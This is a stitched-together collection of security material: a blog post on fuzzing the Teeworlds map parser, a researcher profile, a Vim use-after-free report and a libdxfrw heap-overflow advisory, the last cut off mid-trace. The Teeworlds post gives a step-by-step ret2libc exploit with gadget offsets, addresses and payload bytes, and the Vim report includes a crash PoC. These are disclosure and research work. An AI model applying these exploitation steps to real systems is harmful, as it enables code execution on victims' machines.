        #6 0x5555555fc1f0 in CClient::Run() /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2108
        #7 0x5555555d24e5 in main /home/osboxes/teeworlds/teeworlds-asan/src/engine/client/client.cpp:2704
        #8 0x7ffff68e10b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #9 0x5555555dc48d in _start (/home/osboxes/teeworlds/teeworlds-asan/build/teeworlds+0x8848d)
    

    [...]
    169:  for(int i = 0; i < pItem->m_NumPoints; i++)
    170:  {
    171:          // convert CEnvPoint_v1 -> CEnvPoint
    172:          CEnvPoint_v1 *pEnvPoint_v1 = &((CEnvPoint_v1 *)pPoints)[i + pItem->m_StartPoint];
    173:          CEnvPoint p;
    174:  
    175:          p.m_Time = pEnvPoint_v1->m_Time;
    176:          p.m_Curvetype = pEnvPoint_v1->m_Curvetype;
    177:  
    178:          for(int c = 0; c < pItem->m_Channels; c++)
    179:          {
    180:                  p.m_aValues[c] = pEnvPoint_v1->m_aValues[c];
    181:                  p.m_aInTangentdx[c] = 0;
    182:                  p.m_aInTangentdy[c] = 0;
    183:                  p.m_aOutTangentdx[c] = 0;
    184:                  p.m_aOutTangentdy[c] = 0;
    185:          }
    [...]
    

pItem->m_Channels and pEnvPoint_v1->m_aValues are values coming from the map file. The nested loop lacks additional condition and allows writing outside the p.m_aValues 4-element array.

    struct CEnvPoint : public CEnvPoint_v1
    {
            // bezier curve only
            // dx in ms and dy as 22.10 fxp
            int m_aInTangentdx[4];
            int m_aInTangentdy[4];
            int m_aOutTangentdx[4];
            int m_aOutTangentdy[4];
    
            bool operator<(const CEnvPoint& other) const { return m_Time < other.m_Time; }
    };
    

It looked promising, however, I didn’t find a working way to exploit it, and as it wasn’t the main area of my effort I postponed it for another time.

Update: As a friend pointed out and put me in the right direction, I did a mistake analyzing an optimized code (which was weird for a project compiled with the -O0 flag which was caused by using a release target in cmake that enables optimization). However, the official build does not have an optimized code that broke exploitation attempts. Additionally, the binary even has the stack protection disabled what makes it even easier.

    $ checksec --file=teeworlds 
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
    Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   4168) Symbols     No    0               12              teeworlds
    

With a little modification made to the map, I overwrote the instruction pointer.

    $ gdb --args ./teeworlds 'connect 127.0.0.1' 
    [...]
    Thread 1 "teeworlds" received signal SIGSEGV, Segmentation fault.
    0x000000aabbccddee in ?? ()
    

**Exploit**

I decided to exploit it just for fun. Unfortunately, there were no other bugs that could be chained to bypass ASLR. For the purpose of the exercise, I continued with ASLR disabled and use ret2libc technique to pop a calc executing system("/usr/bin/xcalc").

To succeed with ret2libc exploit, I required the following things:

1.  Gadget with ret and pop rdi; ret instructions to align the stack, load the parameter for the system function and jump to it
    
        $ ROPgadget --binary teeworlds | grep 'pop rdi ; ret'
        [...]
        0x0000000000011339 : pop rdi ; ret
        [...]
        
    
    *   The pop rdi; ret instructions were at offset 0x011339 and the sole ret at 0x011339
    *   To make use of those instructions it was also necessary to calculate their absolute addresses by adding their offsets to the address at which the binary was loaded.
        
            (gdb) info proc mappings
            process 13108
            Mapped address spaces:
            
               Start Addr           End Addr       Size     Offset objfile
               0x555555554000     0x555555695000   0x141000        0x0 /home/osboxes/Downloads/teeworlds-0.7.5-linux_x86_64/teeworlds
            
        
        *   0x555555554000 + 0x01133A = 0x55555556533A
        *   0x555555554000 + 0x011339 = 0x555555565339
2.  Address of the system function
    
        (gdb) p system
        $3 = {int (const char *)} 0x7ffff76c9410 <__libc_system>
        
    
3.  Address of the /usr/bin/xcalc string
    *   I put the string in that part of the map that was written to the stack. The exact address I found by examining available strings on the stack under gdb.
        
            0x7ffffffddc20: "/usr/bin/xcalc"
            
        

Having all the prerequisites, I combined them into a final exploit: 3A535655555500 39535655555500 20DCFDFFFF7F00 10946CF7FF7F00 and I put it in the place of the value that was messing with the instruction pointer. So that time when the map was loaded, the stack was overwritten with valid addresses that redirected execution into the system function with the desired parameter.

**Additional bug**

When running with ASAN, the game was crashing immediately and reporting use after free error. To avoid this problem during the fuzzing I disabled ASAN for the faulty method.

    diff --git a/src/game/client/components/menus_browser.cpp b/src/game/client/components/menus_browser.cpp
    index 85f1bde1..d0cb938d 100644
    --- a/src/game/client/components/menus_browser.cpp
    +++ b/src/game/client/components/menus_browser.cpp
    @@ -1,3 +1,8 @@
    +#if defined(__clang__) || defined (__GNUC__)
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS __attribute__((no_sanitize_address))
    +#else
    +# define ATTRIBUTE_NO_SANITIZE_ADDRESS
    +#endif
     /* (c) Magnus Auvinen. See licence.txt in the root of the distribution for more information. */
     /* If you are missing that file, acquire a complete release at teeworlds.com.                */
     #include <algorithm> // sort  TODO: remove this
    @@ -75,6 +80,7 @@ void CMenus::CBrowserFilter::Reset()
            }
     }
     
    +ATTRIBUTE_NO_SANITIZE_ADDRESS
     void CMenus::CBrowserFilter::Switch()
     {
            m_Extended ^= 1;
    

This small teebug was also reported: https://github.com/teeworlds/teeworlds/issues/2967

**Summary**

Two approaches to fuzzing a map parser detected **15** crashes in total. All of those findings could be used to set up a malicious server and mess up clients’ memory and crash them. One of them turned out to be serious enough to allow code execution. As the results appeared satisfying I will look into other online games as well.

CVE-2021-43518: Fuzzing game map parsers, part 1

“When you find the things I find, they really matter. They affect everybody’s security.”
Currently streaming : The Expanse and Lost in Space on Netflix
Currently listening to : Amorphis, Architects, and Killswitch Engage
Currently running : 130 kilometers (or ~80 miles) a month
Currently playing : Floorball (a type of floor hockey with five players and a goalkeeper)

_“When you find the things I find, they really matter. They affect everybody’s security.”_

**Currently streaming** : The Expanse and Lost in Space on Netflix

**Currently listening to** : Amorphis, Architects, and Killswitch Engage

**Currently running** : 130 kilometers (or ~80 miles) a month

**Currently playing** : Floorball (a type of floor hockey with five players and a goalkeeper)

**Currently proud of** : The volume of Microsoft MVPs hailing from Finland

It’s negative 20 centigrade and dark outside in Tampere, Finland. Seemingly unphased by the frigid air, Dr. Nestori Syynimaa kicks off his daily routine with a morning run. Contrary to what you might think, he isn’t listening to security podcasts or technical audiobooks, but rather detaching from work to gear up for his day ahead. This time is just for him. His local radio station and heavy metal music get him home through his front door as his extremities begin to thaw. With a clear head, he sits down at his battle-ready workstation. Nestori begins to work uncovering new ways to understand the relationship between identity systems and the cloud, in aid of making the internet more robust and secure.

Before becoming a security researcher, Nestori started his career in IT. In early 2000, IT was where it was at. Desperate for computer technicians, he says companies hired anyone who knew what “I-T” was. He laughs now because in his opinion, the bar was very low. While others were spending their first paychecks on mopeds, Nestori invested in a boxed copy of Microsoft Visual C++. Without any training he taught himself how to program, quickly rising through the ranks in the IT space.

Nestori wouldn’t stop there. He went back to school to get the education he felt he should have had, prior to starting on the job. While in school, he was teaching at an IT training organization working his way up to CIO for a large telecom provider in Finland. A friend from the company told him the cloud was going to be the “next big thing” in tech and they would need a trainer. Nestori embraced the challenge and took the opportunity.

During his time as a trainer, course attendees would ask a lot about security. Forget on-premises firewalls, this was the untitled space we now know as “the cloud”. Security frameworks were nascent and so your best bet was to protect your credentials and identity systems. It was clear to Nestori identity security was what was drawing the attention of his customers and students. There was a need for expertise in this new field and so Nestori decided to step forward and of his own volition, fill the void for his clients and the industry. He did all this while maintaining his afterhours work which included building AADInternals, his Azure Active Directory toolkit, which he eventually published. And he completed his PhD!

Last December, Nestori was awarded Microsoft MVP status for his work in security. He paused and realized there was a chance for him to ditch the 16-hour workdays to become a full-time researcher. This was a pivotal moment for him. Nestori’s robust skillset is one that is highly sought after. He began reaching out to see what opportunities might exist for full-time security research and was very quickly snapped up by Secureworks who recognized the immense value he could bring to their company and customers. Now, his after-hours hobby has become his full-time job!

Nestori is not in it for the money. He truly enjoys fixing things and keeping the world safe. When he identifies a vulnerability or some business logic that could be exploited, he doesn’t jump out of his chair pumping his fists. Rather, his thoughts go immediately to the potential implications for customers, should a less ethically minded hacker stumble upon the same discovery. Despite this fact, the rush of the find keeps him searching for more, never stressing about the things he cannot control. Nestori’s constant curiosities have helped him to become one of the most prolific bug bounty hunters of the 2021 calendar year.

When he reflects on the work he does, Nestori believes to be a solid researcher you must be a person who likes uncovering things with an analytical mindset. When asked how he handles failure his response, with a wink and smile is: “I don’t know what that means.” His colleagues, recognizing his unique talents at reverse-engineering communication protocols and finding the flaws in token exchanges, refer to him as “a wizard”. And just like the wizard Gandalf, Nestori continues to maintain his curiosity and technical prowess to block the proverbial Balrog, warning, “You shall not pass.”

You don’t need to risk hypothermia to follow along with Nestori. You can follow his journey on Twitter (@DrAzureAD), AADInternals on GitHub, and his blog at https://o365blog.com.

Researcher Spotlight: Dr. Nestori Syynimaa’s Constant Mission Protecting Identities

✍️ Description

When fuzzing vim commit 021ef351c (works with latest build and latest commit 04b7b4b per this time of this report) v8.2.3728, I discovered a use after free. This crash triggered with only clang 10 and ASan. And I'm testing with clang 13 it doesn't crash so I assume this crash doesn't happen in clang >= 11

**Proof of Concept**

Here is the minimized poc

    )/\v/
    o/\%')
    

How to build

    LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
    make -j$(nproc)
    

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!

ASan stack trace:

    aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!
    =================================================================
    ==3190301==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000006631 at pc 0x000000988ebb bp 0x7fffffff5e40 sp 0x7fffffff5e38
    READ of size 1 at 0x602000006631 thread T0
        #0 0x988eba in utf_ptr2char /root/vim/src/mbyte.c:1788:9
        #1 0xc6be7b in nfa_regmatch /root/vim/src/./regexp_nfa.c:5850:13
        #2 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
        #3 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
        #4 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
        #5 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
        #6 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
        #7 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
        #8 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #9 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #10 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
        #11 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
        #12 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
        #13 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #14 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #15 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
        #16 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
        #17 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
        #18 0x11fd74c in main /root/vim/src/main.c:426:12
        #19 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
        #20 0x41fe7d in _start (/root/vim/src/vim+0x41fe7d)
    
    0x602000006631 is located 1 bytes inside of 2-byte region [0x602000006630,0x602000006632)
    freed by thread T0 here:
        #0 0x49833d in free (/root/vim/src/vim+0x49833d)
        #1 0x4c89e9 in vim_free /root/vim/src/alloc.c:615:2
        #2 0x9a3660 in ml_flush_line /root/vim/src/memline.c:4060:2
        #3 0x9b6004 in ml_get_buf /root/vim/src/memline.c:2647:2
        #4 0x9b2b42 in ml_get /root/vim/src/memline.c:2563:12
        #5 0x9f43ca in dec /root/vim/src/misc2.c:424:6
        #6 0x9f46ae in decl /root/vim/src/misc2.c:443:14
        #7 0xf10009 in findsent /root/vim/src/textobject.c:80:10
        #8 0x963e52 in getmark_buf_fnum /root/vim/src/mark.c:363:6
        #9 0x9635f8 in getmark_buf /root/vim/src/mark.c:293:12
        #10 0xc764cb in nfa_regmatch /root/vim/src/./regexp_nfa.c:6838:16
        #11 0xc69168 in nfa_regtry /root/vim/src/./regexp_nfa.c:7245:14
        #12 0xc67219 in nfa_regexec_both /root/vim/src/./regexp_nfa.c:7440:14
        #13 0xbebd1a in nfa_regexec_nl /root/vim/src/./regexp_nfa.c:7620:12
        #14 0xbe848f in vim_regexec_string /root/vim/src/regexp.c:2798:14
        #15 0xbe8c6c in vim_regexec /root/vim/src/regexp.c:2864:12
        #16 0x7abf73 in ex_open /root/vim/src/ex_docmd.c:6882:10
        #17 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #18 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #19 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
        #20 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
        #21 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
        #22 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #23 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #24 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
        #25 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
        #26 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
        #27 0x11fd74c in main /root/vim/src/main.c:426:12
        #28 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    previously allocated by thread T0 here:
        #0 0x4985bd in malloc (/root/vim/src/vim+0x4985bd)
        #1 0x4c825d in lalloc /root/vim/src/alloc.c:244:11
        #2 0x4c8173 in alloc /root/vim/src/alloc.c:151:12
        #3 0xe1d594 in vim_strnsave /root/vim/src/strings.c:44:9
        #4 0x9b71fd in ml_replace_len /root/vim/src/memline.c:3437:13
        #5 0x9b6fa3 in ml_replace /root/vim/src/memline.c:3400:12
        #6 0x74f068 in ex_substitute /root/vim/src/ex_cmds.c:4654:4
        #7 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #8 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #9 0xd0d016 in do_source /root/vim/src/scriptfile.c:1420:5
        #10 0xd09ca8 in cmd_source /root/vim/src/scriptfile.c:985:14
        #11 0xd0991a in ex_source /root/vim/src/scriptfile.c:1011:2
        #12 0x7714d4 in do_one_cmd /root/vim/src/ex_docmd.c:2578:2
        #13 0x760d76 in do_cmdline /root/vim/src/ex_docmd.c:1000:17
        #14 0x76502d in do_cmdline_cmd /root/vim/src/ex_docmd.c:594:12
        #15 0x120ac05 in exe_commands /root/vim/src/main.c:3080:2
        #16 0x1206f3f in vim_main2 /root/vim/src/main.c:774:2
        #17 0x11fd74c in main /root/vim/src/main.c:426:12
        #18 0x7ffff78260b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    
    SUMMARY: AddressSanitizer: heap-use-after-free /root/vim/src/mbyte.c:1788:9 in utf_ptr2char
    Shadow bytes around the buggy address:
      0x0c047fff8c70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff8c80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
      0x0c047fff8c90: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
      0x0c047fff8ca0: fa fa fd fa fa fa 03 fa fa fa 03 fa fa fa 03 fa
      0x0c047fff8cb0: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00
    =>0x0c047fff8cc0: fa fa 01 fa fa fa[fd]fa fa fa fd fd fa fa 00 03
      0x0c047fff8cd0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
      0x0c047fff8ce0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 03
      0x0c047fff8cf0: fa fa fd fd fa fa 00 02 fa fa 05 fa fa fa fa fa
      0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==3190301==ABORTING
    

**💥 Impact**

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE-2021-4069: Use After Free in vim

A code execution vulnerability exists in the dwgCompressor::decompress18() functionality of LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580. A specially-crafted .dwg file can lead to an out-of-bounds write. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

A code execution vulnerability exists in the dwgCompressor::decompress18() functionality of LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580. A specially-crafted .dwg file can lead to an out-of-bounds write. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580

**Product URLs**

https://librecad.org/

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

**Details**

Libdfxfw is an opensource library facilitating the reading and writing of .dxf and .dwg files, the primary vector graphics file formats of CAD software. Libdxfrw is contained in and primarily used by LibreCAD for the aforementioned purposes, but c

Libdxfrw is capable of reading many different versions of .dwg files. The backwards compatibility is quite extensive, and likewise the particulars for each version are quite extensive. For today’s vulnerability, we deal with the AC1024 version, the AutoCAD .dwg standard from 2010 through 2012. At least for Librecad and libdxfrw, this AC1024 version oddly ends up hitting the same code as the AC1018 version, the AutoCAD .dwg standard from 2004 through 2007. Even if a function ends in 18 (e.g. dwgReader18::readFileHeader), this vulnerability is applicable to both versions for libdxfrw.

To start, the dwgReader24::readFileHeader function is a good place to begin:

    bool dwgReader24::readFileHeader() {
        DRW_DBG("dwgReader24::readFileHeader\n");
        bool ret = dwgReader18::readFileHeader();
        DRW_DBG("dwgReader24::readFileHeader END\n");
        return ret;
    }
    

Simple and easy, this function immediately calls into dwgReader18::readFileHeader, which is a bit of a doozy. The below version of it is with all the DRW_DBG logging code removed :

    bool dwgReader18::readFileHeader() {
    
        if (! fileBuf->setPosition(0x80))  // [1]
            return false;
    
        //    genMagicNumber(); DBG("\n"); DBG("\n");
        duint8 byteStr[0x6C];
        int size =0x6C;
        for (int i=0, j=0; i< 0x6C;i++) {
            duint8 ch = fileBuf->getRawChar8(); 
    
            byteStr[i] = DRW_magicNum18[i] ^ ch;
        }
    
       //[ ... ]
    
        dwgBuffer buff(byteStr, 0x6C, &decoder);
    

The first part of this function simply reads file offsets (0x80,0x10C) and then xors them against a hardcoded magic set of bytes:

    static const int DRW_magicNum18[] = {
        0x29, 0x23, 0xbe, 0x84, 0xe1, 0x6c, 0xd6, 0xae,
        0x52, 0x90, 0x49, 0xf1, 0xf1, 0xbb, 0xe9, 0xeb,
        0xb3, 0xa6, 0xdb, 0x3c, 0x87, 0x0c, 0x3e, 0x99,
        0x24, 0x5e, 0x0d, 0x1c, 0x06, 0xb7, 0x47, 0xde,
        0xb3, 0x12, 0x4d, 0xc8, 0x43, 0xbb, 0x8b, 0xa6,
        0x1f, 0x03, 0x5a, 0x7d, 0x09, 0x38, 0x25, 0x1f,
        0x5d, 0xd4, 0xcb, 0xfc, 0x96, 0xf5, 0x45, 0x3b,
        0x13, 0x0d, 0x89, 0x0a, 0x1c, 0xdb, 0xae, 0x32,
        0x20, 0x9a, 0x50, 0xee, 0x40, 0x78, 0x36, 0xfd,
        0x12, 0x49, 0x32, 0xf6, 0x9e, 0x7d, 0x49, 0xdc,
        0xad, 0x4f, 0x14, 0xf2, 0x44, 0x40, 0x66, 0xd0,
        0x6b, 0xc4, 0x30, 0xb7, 0x32, 0x3b, 0xa1, 0x22,
        0xf6, 0x22, 0x91, 0x9d, 0xe1, 0x8b, 0x1f, 0xda,
        0xb0, 0xca, 0x99, 0x02
    };
    

To proceed:

    bool dwgReader18::readFileHeader() {
       // [...]
    
        dint32 secPageMapId = buff.getRawLong32();
    
        duint64 secPageMapAddr = buff.getRawLong64()+0x100;
    
        duint32 secMapId = buff.getRawLong32();
    
        //TODO: verify CRC
        for (duint8 i = 0x68; i < 0x6c; ++i)
            byteStr[i] = '\0';
        duint32 crcCalc = buff.crc32(0x00,0,0x6C);
    
        // At this point are parsed the first 256 bytes
    
        if (! fileBuf->setPosition(secPageMapAddr))  // 
            return false;
        duint32 pageType = fileBuf->getRawLong32();
        duint32 decompSize = fileBuf->getRawLong32();
        if (pageType != 0x41630e3b){  // [2]
            return false;
        }
        std::vector<duint8> tmpDecompSec(decompSize);
        parseSysPage(tmpDecompSec.data(), decompSize);
    

Without getting too in-depth into the code here, the important thing to note is that certain types of “pages” are expected at offsets given by our file headers. As shown above at \[2\], a pageType of 0x41630e3b is expected, which corresponds to a SysPage. We now delve into dwgReader18::parseSysPage, who’s arguments are an allocated buffer with its size, which we control:

    //called: Section page map: 0x41630e3b
    void dwgReader18::parseSysPage(duint8 *decompSec, duint32 decompSize){
    
        duint32 compSize = fileBuf->getRawLong32();  //[3]
    
        duint8 hdrData[20];
        fileBuf->moveBitPos(-160);             
        fileBuf->getBytes(hdrData, 20);         
        for (duint8 i= 16; i<20; ++i)
            hdrData[i]=0;
        duint32 calcsH = checksum(0, hdrData, 20);
    
        std::vector<duint8> tmpCompSec(compSize);  //[4]
        fileBuf->getBytes(tmpCompSec.data(), compSize); //[5]
        duint32 calcsD = checksum(calcsH, tmpCompSec.data(), compSize);
    
        dwgCompressor comp;
        comp.decompress18(tmpCompSec.data(), decompSec, compSize, decompSize); // [6]
    }
    

At \[3\] we grab the size of the compressed data, and at \[4\] we allocate a temporary buffer of that size. At \[5\] we populate the buffer with our compressed data from our file, and then at \[6\] we do the decompression. Please note the lack of comparison of the decompSize to the compSize before we continue on into dwgReader18::decompress18():

    void dwgCompressor::decompress18(duint8 *cbuf, duint8 *dbuf, duint32 csize, duint32 dsize){
        bufC = cbuf;
        bufD = dbuf;
        sizeC = csize -2;
        sizeD = dsize;
        sizeC = csize;
    
        duint32 compBytes;
        duint32 compOffset;
        duint32 litCount;
    
        pos=0; //current position in compresed buffer
        rpos=0; //current position in resulting decompresed buffer
        litCount = litLength18();              // [7]
        //copy first lileral lenght
        for (duint32 i=0; i < litCount; ++i) {
            bufD[rpos++] = bufC[pos++];          // [8]
        }
    
        while (pos < csize && (rpos < dsize+1)){//rpos < dsize to prevent crash more robust are needed
            duint8 oc = bufC[pos++]; //next opcode
            if (oc == 0x10){
                compBytes = longCompressionOffset()+ 9;
                compOffset = twoByteOffset(&litCount) + 0x3FFF;
                if (litCount == 0)
                    litCount= litLength18();
            } else if (oc > 0x11 && oc< 0x20){
                compBytes = (oc & 0x0F) + 2;
                compOffset = twoByteOffset(&litCount) + 0x3FFF;
                if (litCount == 0)
                    litCount= litLength18();
                    
                // [...]
            }
            //copy "compresed data", TODO Needed verify out of bounds
            duint32 remaining = sizeD - (litCount+rpos);
            if (remaining < compBytes){
                compBytes = remaining;
            }
            for (duint32 i=0, j= rpos - compOffset -1; i < compBytes; i++) {
                bufD[rpos++] = bufD[j++];
            }
            //copy "uncompresed data", TODO Needed verify out of bounds
            for (duint32 i=0; i < litCount; i++) {
                bufD[rpos++] = bufC[pos++];
            }
        }
    

Needless to say, basically every line in this function can be either an out-of-bounds read or an out-of-bounds write on the heap, but we’re going to keep things short and only look at \[7\] and \[8\] (since the rest is the same anyways). Remember that both the size of our compressed and uncompressed buffers are controlled entirely by the file, and then let us examine the litLength18() function at \[7\]:

    duint32 dwgCompressor::litLength18(){
        duint32 cont=0;
        duint8 ll = bufC[pos++];
        //no literal length, this byte is next opCode
        if (ll > 0x0F) {
            pos--;
            return 0;
        }
    
        if (ll == 0x00) {
            cont = 0x0F;
            ll = bufC[pos++];
            while (ll == 0x00){//repeat until ll != 0x00
                cont +=0xFF;
                ll = bufC[pos++];
            }
        }
        cont +=ll;
        cont +=3; //already sum 3
        return cont;
    }
    

The length returned from this function is also completely arbitrary. So back up to dwgCompressor::decompress18():

    void dwgCompressor::decompress18(duint8 *cbuf, duint8 *dbuf, duint32 csize, duint32 dsize){
        bufC = cbuf;
        bufD = dbuf;
        sizeC = csize -2;
        sizeD = dsize;
        sizeC = csize;
    
        duint32 compBytes;
        duint32 compOffset;
        duint32 litCount;
    
        pos=0; //current position in compresed buffer
        rpos=0; //current position in resulting decompresed buffer
        litCount = litLength18();              // [9]
        //copy first lileral lenght
        for (duint32 i=0; i < litCount; ++i) { // [10]
            bufD[rpos++] = bufC[pos++];          
        }
    

Since there’s no check on the size of the length from \[9\] to \[10\], there’s a trivial out-of-bounds write on the heap, fully controlled by the input file.

**Crash Information**

\==1043701==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c000007600 at pc 0x7f6d842ee9cb bp 0x7fffea9c2c10 sp 0x7fffea9c2c08 WRITE of size 1 at 0x62c000007600 thread T0 #0 0x7f6d842ee9ca in dwgCompressor::decompress18(unsigned char_, unsigned char_, unsigned int, unsigned int) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgutil.cpp:208:26 #1 0x7f6d842c39b7 in dwgReader18::parseDataPage(dwgSectionInfo) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader18.cpp:168:14 #2 0x7f6d842d0c54 in dwgReader18::readDwgHeader(DRW\_Header&) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader18.cpp:410:16 #3 0x7f6d8432b37b in dwgReader24::readDwgHeader(DRW\_Header&) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader24.cpp:33:29 #4 0x7f6d83da7189 in dwgR::processDwg() /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:241:19 #5 0x7f6d83da6410 in dwgR::read(DRW\_Interface_, bool) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/libdwgr.cpp:158:20 #6 0x55073c in LLVMFuzzerTestOneInput /root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/./dwg\_harness.cpp:65:9 #7 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const_, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4587e1) #8 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer_, char const_, unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x443f52) #9 0x449a06 in fuzzer::FuzzerDriver(int_, char__\*, int (_)(unsigned char const\*, unsigned long)) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x449a06) #10 0x4726c2 in main (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x4726c2) #11 0x7f6d833c10b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #12 0x41e61d in \_start (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x41e61d)

0x62c000007600 is located 0 bytes to the right of 29696-byte region \[0x62c000000200,0x62c000007600) allocated by thread T0 here: #0 0x54da9d in operator new(unsigned long) (/root/boop/assorted\_fuzzing/librecad/fuzzing/dwg/triaged/dwg\_fuzzer.bin+0x54da9d) #1 0x7f6d8423838b in \_\_gnu\_cxx::new\_allocator::allocate(unsigned long, void const\*) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/ext/new\_allocator.h:114:27 #2 0x7f6d842382b8 in std::allocator\_traits<std::allocator >::allocate(std::allocator&, unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/alloc\_traits.h:444:20 #3 0x7f6d8423785f in std::\_Vector\_base<unsigned char, std::allocator >::\_M\_allocate(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/stl\_vector.h:343:20 #4 0x7f6d84236d46 in std::vector<unsigned char, std::allocator >::\_M\_default\_append(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/vector.tcc:635:34 #5 0x7f6d84202342 in std::vector<unsigned char, std::allocator >::resize(unsigned long) /usr/bin/../lib/gcc/x86\_64-linux-gnu/9/../../../../include/c++/9/bits/stl\_vector.h:937:4 #6 0x7f6d842c0bc2 in dwgReader18::parseDataPage(dwgSectionInfo) /root/boop/assorted\_fuzzing/librecad/LibreCAD\_master/libraries/libdxfrw/src/intern/dwgreader18.cpp:111:13 #7 0x7f6d842d0c54 in 